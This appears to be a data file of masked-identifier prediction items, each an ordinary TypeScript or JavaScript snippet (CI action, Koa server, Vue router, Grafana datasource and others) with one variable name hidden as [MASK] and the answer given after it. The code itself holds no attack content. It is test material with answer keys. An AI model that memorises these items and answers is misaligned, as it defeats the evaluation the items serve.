  const useBuildpacks = core.getInput('useBuildpacks');
  const cmd = core.getInput('cmd');
  const startDelay = core.getInput('startDelay');
  const workingDirectory = core.getInput('workingDirectory');
  const runtimeEnvs = core.getInput('runtimeEnvs');

  let cwd = process.cwd();

  // Build conformance client binary from source.
  let  [MASK]  = 'functions-framework-conformance';
  if (!fs.existsSync( [MASK] )) {
    runCmd(`git clone https://github.com/GoogleCloudPlatform/functions-framework-conformance.git`);
  }
  process.chdir('functions-framework-conformance/client');
  if (version) {
    runCmd(`git fetch origin refs/tags/${version} && git checkout ${version}`);
  } else {
    // Checkout latest release tag.
    runCmd('git fetch --tags && git checkout $(git describe --tags $(git rev-list --tags --max-count=1))')
  }
  runCmd(`go build -o ~/client`);

  process.chdir(cwd);
  if (workingDirectory) {
    process.chdir(workingDirectory);
  }
  // Run the client with the specified parameters.
  runCmd([
    `~/client`,
    `-output-file=${outputFile}`,
    `-type=${functionType}`,
    `-declarative-type=${declarativeType}`,
    `-validate-mapping=${validateMapping}`,
    `-validate-concurrency=${validateConcurrency}`,
    `-builder-source=${source}`,
    `-builder-target=${target}`,
    `-builder-runtime=${runtime}`,
    `-builder-runtime-version=${runtimeVersion}`,
    `-builder-tag=${tag}`,
    `-builder-url=${builderURL}`,
    `-buildpacks=${useBuildpacks}`,
    `-cmd=${cmd}`,
    `-start-delay=${startDelay}`,
    `-envs=${runtimeEnvs}`,
  ].filter((x) => !!x).join(' '));
}

run();
",repo
556,"import ""reflect-metadata"";
import * as Koa from ""koa"";
import * as Router from ""koa-router"";
import * as bodyParser from ""koa-bodyparser"";
import * as logger from ""koa-logger"";
import * as json from ""koa-json"";
import * as path from ""path"";
import * as koaStatic from ""koa-static"";
import * as koaSession from ""koa-session"";
import * as grant from ""grant-koa"";
import { createConnection } from ""typeorm"";
import { Server as WsServer } from ""ws"";
// import { ApolloServer, gql } from ""apollo-server-koa"";
import AppRoutes from ""./routes"";
import messageSocket from ""./message"";
import grantConf from ""./config/grant-conf"";
import * as fs from ""fs"";

// const typeDefs = gql`
//   type Query {
//     hello: String
//   }
// `;

// const resolvers = {
//   Query: {
//     hello: () => ""Hello world!"",
//   },
// };

// const apolloServer = new ApolloServer({ typeDefs, resolvers });

// 使用 typeorm 连接数据库
createConnection()
  .then(async (connection) => {
    const app = new Koa();

    // apolloServer.applyMiddleware({ app });

    app.keys = [""grant""];
    app.use(koaSession(app));
    app.use(grant(grantConf));

    const router = new Router();
    const port = process.env.PORT || 3007;

    //路由
    AppRoutes.forEach((route) =>
      router[route.method](route.path, route.action)
    );

    // 静态资源目录对于相对入口文件app.js的路径\
    app.use(koaStatic(path.join(__dirname, ""../page/build/"")));

    // 中间件
    app.use(json());
    app.use(logger());
    app.use(bodyParser());
    app.use(router.routes());
    app.use(router.allowedMethods());
    app.use(async (ctx, next) => {
      ctx.set(""Content-Type"", ""text/html"");
      ctx.body = fs.createReadStream(""./page/build/index.html"");
    });
    let server = app.listen(port);
    const  [MASK]  = new WsServer({
      server,
    });
    messageSocket( [MASK] , app);
    // console.log(
    //   `应用启动成功 端口:${port}, 而 graphql 运行在 ${apolloServer.graphqlPath}`
    // );
    console.log(
      `应用启动成功 端口:${port}`
    );
  })
  .catch((error) => console.log(""TypeORM connection error: "", error));
",wss
557,"import { HttpStatus, Injectable } from '@nestjs/common';
import { TaskRes } from './common/Classess';
import { MailService } from ""./modules/core/mail/mail.service"";
import { MailBasicDto } from ""./modules/core/mail/dto/mail-basic.dto"";

@Injectable()
export class AppService {
  constructor(
    private readonly mailService: MailService,
  ) {}

  getHello(): TaskRes {
    const task = new TaskRes();
    task.success = true;
    task.statusCode = HttpStatus.OK;
    task.message = `Wellcome to the SERVICE: ${process.env.APP_NAME}`;

    return task;
  }

  async testSendMail(emailTo: string): Promise<TaskRes> {
    let task: TaskRes = null;
    const  [MASK]  = new MailBasicDto({
      to: emailTo,
      subject: 'test-send-mail',
      html: 'Test send mail',
    });
    task = await this.mailService.sendMail( [MASK] );

    return task;
  }
}
",mailDto
558,"import { IntentClassifier } from '../../../src/ai/nlp/intent-classifier.js';

describe('IntentClassifier', () => {
    let classifier: IntentClassifier;

    beforeEach(() => {
        classifier = new IntentClassifier();
    });

    describe('Basic Intent Classification', () => {
        it('should classify turn_on commands', async () => {
            const testCases = [
                {
                    input: 'turn on the living room light',
                    entities: { parameters: {}, primary_target: 'light.living_room' },
                    expectedAction: 'turn_on'
                },
                {
                    input: 'switch on the kitchen lights',
                    entities: { parameters: {}, primary_target: 'light.kitchen' },
                    expectedAction: 'turn_on'
                },
                {
                    input: 'enable the bedroom lamp',
                    entities: { parameters: {}, primary_target: 'light.bedroom' },
                    expectedAction: 'turn_on'
                }
            ];

            for (const test of testCases) {
                const result = await classifier.classify(test.input, test.entities);
                expect(result.action).toBe(test.expectedAction);
                expect(result.target).toBe(test.entities.primary_target);
                expect(result.confidence).toBeGreaterThan(0.5);
            }
        });

        it('should classify turn_off commands', async () => {
            const testCases = [
                {
                    input: 'turn off the living room light',
                    entities: { parameters: {}, primary_target: 'light.living_room' },
                    expectedAction: 'turn_off'
                },
                {
                    input: 'switch off the kitchen lights',
                    entities: { parameters: {}, primary_target: 'light.kitchen' },
                    expectedAction: 'turn_off'
                },
                {
                    input: 'disable the bedroom lamp',
                    entities: { parameters: {}, primary_target: 'light.bedroom' },
                    expectedAction: 'turn_off'
                }
            ];

            for (const test of testCases) {
                const result = await classifier.classify(test.input, test.entities);
                expect(result.action).toBe(test.expectedAction);
                expect(result.target).toBe(test.entities.primary_target);
                expect(result.confidence).toBeGreaterThan(0.5);
            }
        });

        it('should classify set commands with parameters', async () => {
            const testCases = [
                {
                    input: 'set the living room light brightness to 50',
                    entities: {
                        parameters: { brightness: 50 },
                        primary_target: 'light.living_room'
                    },
                    expectedAction: 'set'
                },
                {
                    input: 'change the temperature to 72',
                    entities: {
                        parameters: { temperature: 72 },
                        primary_target: 'climate.living_room'
                    },
                    expectedAction: 'set'
                },
                {
                    input: 'adjust the kitchen light color to red',
                    entities: {
                        parameters: { color: 'red' },
                        primary_target: 'light.kitchen'
                    },
                    expectedAction: 'set'
                }
            ];

            for (const test of testCases) {
                const result = await classifier.classify(test.input, test.entities);
                expect(result.action).toBe(test.expectedAction);
                expect(result.target).toBe(test.entities.primary_target);
                expect(result.parameters).toEqual(test.entities.parameters);
                expect(result.confidence).toBeGreaterThan(0.5);
            }
        });

        it('should classify query commands', async () => {
            const testCases = [
                {
                    input: 'what is the living room temperature',
                    entities: { parameters: {}, primary_target: 'sensor.living_room_temperature' },
                    expectedAction: 'query'
                },
                {
                    input: 'get the kitchen light status',
                    entities: { parameters: {}, primary_target: 'light.kitchen' },
                    expectedAction: 'query'
                },
                {
                    input: 'show me the front door camera',
                    entities: { parameters: {}, primary_target: 'camera.front_door' },
                    expectedAction: 'query'
                }
            ];

            for (const test of testCases) {
                const result = await classifier.classify(test.input, test.entities);
                expect(result.action).toBe(test.expectedAction);
                expect(result.target).toBe(test.entities.primary_target);
                expect(result.confidence).toBeGreaterThan(0.5);
            }
        });
    });

    describe('Edge Cases and Error Handling', () => {
        it('should handle empty input gracefully', async () => {
            const result = await classifier.classify('', { parameters: {}, primary_target: '' });
            expect(result.action).toBe('unknown');
            expect(result.confidence).toBeLessThan(0.5);
        });

        it('should handle unknown commands with low confidence', async () => {
            const result = await classifier.classify(
                'do something random',
                { parameters: {}, primary_target: 'light.living_room' }
            );
            expect(result.action).toBe('unknown');
            expect(result.confidence).toBeLessThan(0.5);
        });

        it('should handle missing entities gracefully', async () => {
            const result = await classifier.classify(
                'turn on the lights',
                { parameters: {}, primary_target: '' }
            );
            expect(result.action).toBe('turn_on');
            expect(result.target).toBe('');
        });
    });

    describe('Confidence Calculation', () => {
        it('should assign higher confidence to exact matches', async () => {
            const exactMatch = await classifier.classify(
                'turn on',
                { parameters: {}, primary_target: 'light.living_room' }
            );
            const partialMatch = await classifier.classify(
                'please turn on the lights if possible',
                { parameters: {}, primary_target: 'light.living_room' }
            );
            expect(exactMatch.confidence).toBeGreaterThan(partialMatch.confidence);
        });

        it('should boost confidence for polite phrases', async () => {
            const politeRequest = await classifier.classify(
                'please turn on the lights',
                { parameters: {}, primary_target: 'light.living_room' }
            );
            const  [MASK]  = await classifier.classify(
                'turn on the lights',
                { parameters: {}, primary_target: 'light.living_room' }
            );
            expect(politeRequest.confidence).toBeGreaterThan( [MASK] .confidence);
        });
    });

    describe('Context Inference', () => {
        it('should infer set action when parameters are present', async () => {
            const result = await classifier.classify(
                'lights at 50%',
                {
                    parameters: { brightness: 50 },
                    primary_target: 'light.living_room'
                }
            );
            expect(result.action).toBe('set');
            expect(result.parameters).toHaveProperty('brightness', 50);
        });

        it('should infer query action for question-like inputs', async () => {
            const result = await classifier.classify(
                'how warm is it',
                { parameters: {}, primary_target: 'sensor.temperature' }
            );
            expect(result.action).toBe('query');
            expect(result.confidence).toBeGreaterThan(0.5);
        });
    });
}); ",basicRequest
559,"import log from 'electron-log';
import fetch from 'node-fetch';

import { ManagerPool } from './types';

const METRICS_KEYS = [
    /pravega_segmentstore_segment_read_bytes_global_total/,
    /pravega_segmentstore_segment_write_bytes_global_total/,
    /pravega_segmentstore_segment_read_latency_ms_seconds{host=""\w+"",quantile=""0.99"",}/,
    /pravega_segmentstore_segment_write_latency_ms_seconds{host=""\w+"",quantile=""0.99"",}/,
];

const getMetrics = async (
    currentConnection: string | undefined,
    managerPool: ManagerPool,
    mainWindow: Electron.BrowserWindow
) => {
    if (!currentConnection || !(currentConnection in managerPool)) return;

    const controller = new AbortController();
    const  [MASK]  = setTimeout(() => controller.abort(), 500);
    try {
        const res = await fetch(
            `http://${managerPool[currentConnection].url
                .split('//')
                .at(-1)
                ?.split(':')
                .at(0)}:6061/prometheus`,
            { signal: controller.signal }
        );
        const metrics = ((await res.text()) as string)
            .split('\n')
            .filter((line) => METRICS_KEYS.some((key) => key.test(line)))
            .map((line) => [
                line.split('{').at(0),
                Number(line.split(' ').at(1)),
            ])
            .filter(([key, val]) => key && val) as [string, number][];
        mainWindow.webContents.send(
            `metrics`,
            currentConnection,
            Object.fromEntries(metrics)
        );
    } catch (err) {
        // log.info(`Timeout to get metrics for ${currentConnection}`);
    } finally {
        clearTimeout( [MASK] );
    }
};

export default getMetrics;
",timer
560,"import { IJSONSerializable } from '../utils/json.serializable.interface'
import { HeartRateZone } from './heart.rate.zone'
import { IJSONDeserializable } from '../utils/json.deserializable.interface'

export class HeartRateItem implements IJSONSerializable, IJSONDeserializable<HeartRateItem> {
    private _date: string
    private _value?: number
    private _zones: HeartRateZone

    constructor(date?: string, zones?: HeartRateZone,  [MASK] ?: number) {
        this._date = date ? date : ''
        this._zones = zones ? zones : new HeartRateZone()
        this._value =  [MASK] 
    }

    get date(): string {
        return this._date
    }

    set date(value: string) {
        this._date = value
    }

    get value(): number | undefined {
        return this._value
    }

    set value(value: number | undefined) {
        this._value = value
    }

    get zones(): HeartRateZone {
        return this._zones
    }

    set zones(value: HeartRateZone) {
        this._zones = value
    }

    public toJSON(): any {
        return {
            date: this.date,
            value: this.value,
            zones: this.zones.toJSON()
        }
    }

    public fromJSON(json: any): HeartRateItem {
        if (!json) return this

        if (json.date) this.date = json.date
        if (json.value) this.value = json.value
        if (json.zones) this.zones = new HeartRateZone().fromJSON(json.zones)
        return this
    }
}
",average
561,"import { ethers, run } from ""hardhat"";
import ""@nomiclabs/hardhat-ethers"";

async function main() {
  // Fetch the deployer account
  const [deployer] = await ethers.getSigners();
  console.log(""Deploying contracts with the account:"", deployer.address);

  // Get the contract factory for MultiSend and deploy
  const MultiSend = await ethers.getContractFactory(""MultiSend"");
  const  [MASK]  = await MultiSend.deploy();

  await  [MASK] .deployed();
  console.log(""MultiSend deployed to:"",  [MASK] .address);

  // Constructor arguments (none for this contract)
  const constructorArguments: any[] = []; // No constructor arguments for MultiSend

  // Verify the contract on Etherscan
  try {
    console.log(""Verifying contract..."");
    await run(""verify:verify"", {
      address:  [MASK] .address,
      constructorArguments: constructorArguments,
    });
    console.log(""Contract verified successfully."");
  } catch (error) {
    console.error(""Verification failed:"", error);
  }
}

main().catch((error) => {
  console.error(""Error during deployment:"", error);
  process.exitCode = 1;
});
",multiSend
562,"import {createRouter, createWebHistory} from 'vue-router'
import store from ""@/store"";

const router = createRouter({
  history: createWebHistory(import.meta.env.BASE_URL),
  routes: [
    {
      path: '/',
      redirect: '/coaches',
    },
    {
      name: 'coaches',
      path: '/coaches',
      component: () => import('@/pages/coaches/CoachList.vue'),
    },
    {
      name: 'coach',
      path: '/coaches/:id',
      props: true,
      component: () => import('@/pages/coaches/CoachDetails.vue'),
      children: [
        {
          name: 'contact',
          path: 'contact',
          component: () => import('@/pages/requests/ContactCoach.vue'),
        }
      ]
    },
    {
      name: 'register',
      path: '/register',
      component: () => import('@/pages/coaches/CoachRegistration.vue'),
      meta: {requiresAuth: true}
    },
    {
      name: 'requests',
      path: '/requests',
      component: () => import('@/pages/requests/RequestReceived.vue'),
      meta: {requiresAuth: true}
    },
    {
      name: 'auth',
      path: '/auth',
      component: () => import('@/pages/auth/UserAuth.vue'),
    },
    {
      path: '/:notFound(.*)',
      component: () => import('@/pages/NotFound.vue'),
    }
  ],
})

router.beforeEach((to, from, next) => {
  const  [MASK]  = to.meta.requiresAuth;
  if (! [MASK] ) {
    next()
    return
  }
  const isAuthenticated = store.getters[""auth/isAuthenticated""];
  isAuthenticated ? next() : next('/auth');
})

export default router
",requiredAuth
563,"import { render } from '@testing-library/svelte'
import type { Policy } from 'uds-core-types/src/pepr/operator/crd/generated/exemption-v1alpha1'

import ExemptionPolicies from './component.svelte'

describe('Policies', () => {
  test('renders empty list when no policies are provided', () => {
    const { container } = render(ExemptionPolicies, { props: { policies: [] } })
    const list = container.querySelector('ul')
    expect(list).toBeInTheDocument()
    expect(list?.children.length).toBe(0)
  })

  test('renders correct number of policy items', () => {
    const policies = ['DisallowHostNamespaces', 'DisallowNodePortServices', 'DisallowPrivileged'] as Policy[]
    const { container } = render(ExemptionPolicies, { props: { policies } })
    const  [MASK]  = container.querySelectorAll('li')
    expect( [MASK] .length).toBe(3)
  })

  test('renders policy names correctly', () => {
    const policies = ['DisallowHostNamespaces', 'DisallowNodePortServices', 'DisallowPrivileged'] as Policy[]
    const { getByText } = render(ExemptionPolicies, { props: { policies } })
    policies.forEach((policy) => {
      expect(getByText(`- ${policy}`)).toBeInTheDocument()
    })
  })
})
",listItems
564,"import { getUserExerciseHistory } from '../../../../../lib/databaseConnection';

export async function GET(request: Request,  [MASK] : any) {
  try {
    const { params } =  [MASK] ;
    const userId = params?.userId;
    const userIdNum = parseInt(userId);
    
    const { searchParams } = new URL(request.url);
    const exerciseId = searchParams.get('exerciseId') ? parseInt(searchParams.get('exerciseId')!) : null;
    const startDate = searchParams.get('startDate');
    const endDate = searchParams.get('endDate');
    
    if (!userIdNum) {
      return Response.json({ error: 'Invalid user ID' }, { status: 400 });
    }
    
    const history = await getUserExerciseHistory(userIdNum, exerciseId, startDate, endDate);
    return Response.json(history);
  } catch (error: any) {
    return Response.json({ error: error.message }, { status: 500 });
  }
}",context
565,"//判断滚动方向
let sLeft = 0,
    sTop = 0;
export function scrollToPosition(el): string {
    if (sLeft !== el.scrollLeft) {
        sLeft = el.scrollLeft;
        return 'horizontal';
    }
    if (sTop !== el.scrollTop) {
        sTop = el.scrollTop;
        return 'vertical';
    }
}
// 二分查找法
function binarySearch(offset: number, list: number[]): number {
    if (list.length === 0) {
        // console.error('数组为空');
        return 0;
    }
    let startIndex = 0,
         [MASK]  = list.length - 1,
        midIndex,
        startOffset,
        endOffset;
    while (startIndex <=  [MASK] ) {
        midIndex = Math.floor((startIndex +  [MASK] ) / 2);
        startOffset = list[midIndex - 1] || 0;
        endOffset = list[midIndex];
        //处理索引为0的情况
        if (midIndex === 0 && offset <= list[0]) {
            return 0;
        }
        if (startOffset > offset) {
             [MASK]  = midIndex - 1;
        } else if (startOffset === offset) {
            return midIndex - 1;
        } else if (startOffset <= offset && offset <= endOffset) {
            return midIndex;
        } else if (endOffset < offset) {
            startIndex = midIndex + 1;
        }
    }
    return list.length;
}

//查找开始位置
export function findStartIndex(offset: number, list: number[]): number {
    let top = 0;
    for (let index in list) {
        top += list[index];
        if (top > offset) {
            return Number(index);
        }
    }
}

//获取元素在表格的起始位置
export function getItemStartPosition(start: number, end: number, list: number[]): number {
    return list.slice(start, end).reduce((total, item) => {
        return total + item;
    }, 0);
}
// 获取当前表格的索引值，例如{start:0,end:10}
interface VisiblePosition {
    start: number;
    end: number;
}
export function findVisibleIndex(
    offset: number,
    visibleOffset: number,
    list: number[],
): VisiblePosition {
    let start = binarySearch(offset, list);
    let end = binarySearch(visibleOffset + offset, list);
    return {
        start: start,
        end: end,
    };
}
",endIndex
566,"import { AxiosPromise } from 'axios';
import server from '../../../services/server';

export default class BaseContentService {
  baseUri: string = '';

  constructor(baseUri: string) {
    this.baseUri = baseUri;
  }

  get(size: number, current: number, keyword: string, status: string, tags: string[]): AxiosPromise {
    return server.get(`/${this.baseUri}?size=${size}&current=${current}&keyword=${keyword}&status=${status}&tags=${tags}`);
  }

  getById(id: string): AxiosPromise {
    return server.get(`/${this.baseUri}/${id}`);
  }

  updateVisibility(id: string | number, visibility: 'PUBLIC' | 'PRIVATE'): AxiosPromise {
    return server.put(`/${this.baseUri}/${id}/visibility`, { visibility: visibility, id: id });
  }

  deleteById(id: string | number): AxiosPromise {
    return server.delete(`/${this.baseUri}/${id}`);
  }

  create( [MASK] : any): AxiosPromise {
    return server.post(`/${this.baseUri}`,  [MASK] );
  }

  update(updatedDTO: any): AxiosPromise {
    return server.put(`/${this.baseUri}/${updatedDTO.id}`, updatedDTO);
  }
}
",creationDTO
567,"import { Component, OnInit } from '@angular/core';
import { Router, NavigationEnd, NavigationStart } from '@angular/router';
import { Subscription } from 'rxjs/Subscription';

@Component({
    selector: 'app-my-app',
    templateUrl: './app.component.html'
})

export class AppComponent implements OnInit {
  private _router: Subscription;

  constructor( private router: Router ) {
  }

    ngOnInit() {
      this._router = this.router.events.filter(event => event instanceof NavigationEnd).subscribe((event: NavigationEnd) => {
        const body = document.getElementsByTagName('body')[0];
        const  [MASK]  = document.getElementsByClassName('modal-backdrop')[0];
        if (body.classList.contains('modal-open')) {
          body.classList.remove('modal-open');
           [MASK] .remove();
        }
      });
    }
}
",modalBackdrop
568,"import * as pulumi from ""@pulumi/pulumi"";
import * as aws from ""@pulumi/aws"";
import { startupScript } from '../startupScript';
import { securityGroup } from './security-group';

const config = new pulumi.Config();
const machineType = config.require(""machineType"");

export const instance = aws.getCallerIdentity({}).then(identity => {
    return startupScript.then(script => {
        const ami = aws.ec2.getAmiOutput({
            filters: [{
                name: ""name"",
                values: [ config.require(""machineImage"") ],
            }],
            owners: [identity.accountId],
        });
        const  [MASK]  = new aws.ec2.Instance(""ghrunner"", {
            monitoring: true,
            ami: ami.id,
            instanceType: machineType,
            tags: getTags(),
            vpcSecurityGroupIds: [ securityGroup.id ],
            userData: Buffer.from(script).toString(""base64""),
            ebsBlockDevices: [{
                deviceName: ""/dev/sda1"",
                volumeSize: config.requireNumber(""bootDiskSizeInGB""),
                volumeType: config.require(""bootDiskType"")
            }],
        });
        return  [MASK] ;
    });
})

function getTags(){
    const tags = {
        ""Name"": `${config.require(""repo"")} Github Runner`,
        ""map-migrated"": ""d-server-01068mdjl5jze3""
    };

    return tags;
}",runnerInstance
569,"// Copyright 2017-2021 @polkadot/hw-ledger authors & contributors
// SPDX-License-Identifier: Apache-2.0

import type { ResponseBase, SubstrateApp } from '@zondax/ledger-substrate';
import type { AccountOptions, LedgerAddress, LedgerSignature, LedgerTypes, LedgerVersion } from './types';

import { transports } from '@reef-defi/hw-ledger-transports';
import { assert, u8aToBuffer } from '@reef-defi/util';

import { LEDGER_DEFAULT_ACCOUNT, LEDGER_DEFAULT_CHANGE, LEDGER_DEFAULT_INDEX, LEDGER_SUCCESS_CODE } from './constants';
import { ledgerApps } from './defaults';

export { packageInfo } from './packageInfo';

type Chain = keyof typeof ledgerApps;

// A very basic wrapper for a ledger app -
//  - it connects automatically, creating an app as required
//  - Promises return errors (instead of wrapper errors)
export class Ledger {
  #app: SubstrateApp | null = null;

  #chain: Chain;

  #transport: LedgerTypes;

  constructor (transport: LedgerTypes, chain: Chain) {
    // u2f is deprecated
    assert(['hid', 'webusb'].includes(transport), () => `Unsupported transport ${transport}`);
    assert(Object.keys(ledgerApps).includes(chain), () => `Unsupported chain ${chain}`);

    this.#chain = chain;
    this.#transport = transport;
  }

  public async getAddress (confirm = false, accountOffset = 0, addressOffset = 0, { account = LEDGER_DEFAULT_ACCOUNT, addressIndex = LEDGER_DEFAULT_INDEX, change = LEDGER_DEFAULT_CHANGE }: Partial<AccountOptions> = {}): Promise<LedgerAddress> {
    return this.#withApp(async (app: SubstrateApp): Promise<LedgerAddress> => {
      const { address, pubKey } = await this.#wrapError(app.getAddress(account + accountOffset, change, addressIndex + addressOffset, confirm));

      return {
        address,
        publicKey: `0x${pubKey}`
      };
    });
  }

  public async getVersion (): Promise<LedgerVersion> {
    return this.#withApp(async (app: SubstrateApp): Promise<LedgerVersion> => {
      const { device_locked: isLocked, major, minor, patch, test_mode: isTestMode } = await this.#wrapError(app.getVersion());

      return {
        isLocked,
        isTestMode,
        version: [major, minor, patch]
      };
    });
  }

  public async sign (message: Uint8Array, accountOffset = 0, addressOffset = 0, { account = LEDGER_DEFAULT_ACCOUNT, addressIndex = LEDGER_DEFAULT_INDEX, change = LEDGER_DEFAULT_CHANGE }: Partial<AccountOptions> = {}): Promise<LedgerSignature> {
    return this.#withApp(async (app: SubstrateApp): Promise<LedgerSignature> => {
      const buffer = u8aToBuffer(message);
      const { signature } = await this.#wrapError(app.sign(account + accountOffset, change, addressIndex + addressOffset, buffer));

      return {
        signature: `0x${signature.toString('hex')}`
      };
    });
  }

  #getApp = async (): Promise<SubstrateApp> => {
    if (!this.#app) {
      const def = transports.find(({ type }) => type === this.#transport);

      assert(def, () => `Unable to find a transport for ${this.#transport}`);

      const transport = await def.create();

      this.#app = ledgerApps[this.#chain](transport);
    }

    return this.#app;
  };

  #withApp = async <T> (fn: (app: SubstrateApp) => Promise<T>): Promise<T> => {
    try {
      const app = await this.#getApp();

      return await fn(app);
    } catch (error) {
      this.#app = null;

      throw error;
    }
  };

  #wrapError = async <T extends ResponseBase> ( [MASK] : Promise<T>): Promise<T> => {
    const result = await  [MASK] ;

    assert(result.return_code === LEDGER_SUCCESS_CODE, () => result.error_message);

    return result;
  };
}
",promise
570,"module forms {
	var app = angular.module('multiForms', []);

	app.controller('formShippingCtrl', ['checkoutService', '$scope', (checkoutService, $scope) => {
		$scope.model = checkoutService.checkoutModel.shipping;
		$scope.validate = () => {
			return $scope.shippingForm.$valid;
		};
	}]);

	app.controller('formBillingCtrl', ['checkoutService', '$scope', (checkoutService, $scope) => {
		$scope.model = checkoutService.checkoutModel.billing;
	}]);

	app.controller('formConfirmCtrl', ['checkoutService', '$scope', (checkoutService, $scope) => {
		$scope.model = checkoutService.checkoutModel;
	}]);

	app.factory('checkoutService', [() => {
		var shippingInfo = {name: '', address: ''};
		var  [MASK]  = {zip: '00000', cardType: 'visa'};

		var checkoutModel = {
			shipping: shippingInfo,
			billing:  [MASK] 
		};

		var service = {
			checkoutModel: checkoutModel
		};

		return service;
	}]);

	/**
	 * A directive to validate the current route's state before attempting to switch state.
	 * Provides a shortcut for the case of the current route being represented by a form.
	 * @param {[type]}	'validateRoute' If a function, the function should return true
	 *                                   if the state is valid and can be changed.
	 *                                   If a form, the state is valid if form.$valid is true.
	 */
	app.directive('validateRoute', ['$rootScope', ($rootScope) => {
		return {
			restrict: 'A',
			link: (scope, el, attr) => {
				var validateFn;
				var validateForm;

				//grab either the validation function or the form to validate
				attr.$observe('validateRoute', val => {
					var realVal = scope.$eval(attr.validateRoute);
					if (realVal && typeof realVal.$valid !== 'undefined') {
						validateForm = realVal;
					} else if (realVal && typeof realVal === 'function') {
						validateFn = realVal;
					}
				});

				var validateStateChange = (e, toState, toParams, fromState) => {
					//check the validation function or the form
					if (validateFn && !validateFn()) {
						e.preventDefault();
					} else if (validateForm && !validateForm.$valid) {
						e.preventDefault();
					}
				};

				var $removeEventListener = $rootScope.$on('$stateChangeStart', validateStateChange);

				//clean up events when the directive is cleaned up
				scope.$on('$destroy', () => {
					$removeEventListener();
				});
			}
		};
	}]);
}
",billingInfo
571,"import defaults from 'lodash/defaults';

import {
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  MutableDataFrame,
  FieldType,
} from '@grafana/data';

import { MyQuery, MyDataSourceOptions, defaultQuery } from './types';
import { ProjectMetrics } from 'metrics/types';
import { fetchApiData, getQueryDuration, setProxyUrl, setQueryDuration } from 'utils';
import { createFrameSetsFromMetrics } from 'metrics/utils/project-metrics';
import { AggregatorMetrics } from 'metrics/types/AggregatorMetrics';
import { createFrameSetsFromAggregatorMetrics } from 'metrics/utils/aggregator-metrics';
import { DataFrameSet } from 'metrics/types/DataFrameSet';
import { AgentMetrics } from 'metrics/types/AgentMetrics';
import { PipelineMetrics } from 'metrics/types/PipelineMetrics';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  annotations = {};
  proxyUrl?: string;

  constructor(instanceSettings: DataSourceInstanceSettings<MyDataSourceOptions>) {
    super(instanceSettings);

    this.proxyUrl = instanceSettings.url;
    setProxyUrl(this.proxyUrl);
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    let useCachedFrame = true;
    const { range } = options;
    const from = range!.from.valueOf();
    const to = range!.to.valueOf();
    // duration of the time range, in milliseconds.
    let duration = to - from;
    // convert duration to hour
    duration = duration / (1000 * 60 * 60);
    duration = Math.ceil(duration);
    if (getQueryDuration() !== duration) {
      useCachedFrame = false;
    }
    setQueryDuration(duration);

    const promises = options.targets.map(async (target) => {
      const query = defaults(target, defaultQuery);
      const { metricType, agent, aggregator, metric, pipeline, project, plugin } = query;
      // const { interval } = query;
      const { frame: cachedFrame } = query;

      let frame = new MutableDataFrame({
        refId: query.refId,
        ...(plugin && metric && { name: `${plugin}.${metric} (${query.refId})` }),
        fields: [
          { name: 'time', type: FieldType.time },
          { name: 'value', type: FieldType.number },
        ],
      });

      if (query.hide) {
        return new Promise((res) => res(frame));
      }

      if (cachedFrame && useCachedFrame) {
        return new Promise((res) => res(cachedFrame));
      }

      let url: string | undefined = undefined;

      if (metricType === 'agent' && agent) {
        url = `${this.proxyUrl}/calyptia/v1/agents/${agent}/metrics?start=-${duration}h&interval=1h`;
      } else if (metricType === 'aggregator' && aggregator) {
        url = `${this.proxyUrl}/calyptia/v1/aggregator_metrics/${aggregator}?start=-${duration}h&interval=1h`;
      } else if ((metricType === 'pipeline' || metricType === 'project_pipeline') && pipeline) {
        url = `${this.proxyUrl}/calyptia/v1/pipeline_metrics/${pipeline}?start=-${duration}h&interval=1h`;
      } else if (metricType === 'project' && project) {
        url = `${this.proxyUrl}/calyptia/v1/projects/${project}/metrics?start=-${duration}h&interval=1h`;
      }

      if (!url) {
        return new Promise((res) => res(frame));
      }

      return fetchApiData(url)
        .then((response) => {
          let  [MASK] : DataFrameSet[] = [];

          if (metricType === 'aggregator') {
            // @ts-ignore
            const data: AggregatorMetrics = response.data;
             [MASK]  = createFrameSetsFromAggregatorMetrics(data, query.refId);
          } else {
            // @ts-ignore
            const data: AgentMetrics | PipelineMetrics | ProjectMetrics = response.data;
             [MASK]  = createFrameSetsFromMetrics(data, query.refId);
          }

          let frameSet =  [MASK] .find((fs) => fs.plugin === plugin && fs.metric === metric);
          if (frameSet) {
            frame = frameSet.frame;
          }
          query.frame = frame;

          return frame;
        })
        .catch((e) => {
          console.log('>>>>>>>>>>>>>>>>>>>>>>error in query');
          console.log(e);
        });
    });

    return Promise.all(promises).then((data) => {
      return { data };
    });
  }

  async testDatasource() {
    // Implement a health check for your data source.
    return {
      status: 'success',
      message: 'Success',
    };
  }
}
",frameSets
572,"import {Aprendiz, NivelEducativo} from './aprendiz.js';
import {Curso} from './curso.js';
import {Carrera} from './carrera.js';
import {Trabajo} from './trabajo.js';

let cursos = [new Curso(""Applied Data Science with Python Specialization"", 140, ""Python"", ""University of Michigan"", 2023),
new Curso(""Software Design and Architecture Specialization"", 50, ""Java"", ""University of Alberta"", 2023),
new Curso(""Data Structures and Algorithms Specialization"", 59, ""C++"", ""University of Illinois"", 2022),
new Curso(""Software Testing and Automation Specialization"", 95, ""Java / JUnit"", ""University of Minnesota"", 2020)];

let carreras = [new Carrera(""Doctorado en Multimedia y Comunicaciones"", 4, 4*1200, ""UC3M"", 2023),
new Carrera(""Ciencias Empresariales"", 3, 3*1200, ""UNED"", 2013),
new Carrera(""Ciencias Matemáticas"", 5, 5*1200, ""UNED"", 2010),
new Carrera(""Ingeniería Técnica en Telecomunicaciones, esp. Sistemas de Telecomunicación"", 3, 3*1200, ""UC3M"", 2005)];

let trabajos = [new Trabajo(""Arquitecto Software"", 14, 15*1600, ""AdI"", 2009),
new Trabajo(""Profesor Asociado (Telecomunicaciones)"", 3, 3*500, ""UC3M"", 2017),
new Trabajo(""Traductor"", 4, 4*1600, ""UNED"", 2005),
new Trabajo(""Desarrollador Software"", 1, 1*1600, ""Telvent"", 2004),
new Trabajo(""Desarrollador C++ (Beca)"", 1, 1*1600, ""UC3M"", 2003)];

export const ap = new Aprendiz(""Diego"", ""<NAME>"", ""avatar.png"", 39, NivelEducativo.DOCTOR, cursos, carreras, trabajos);
console.log(ap.cursos);

let aprendizTable: HTMLElement = document.getElementById(""aprendiz"")!;
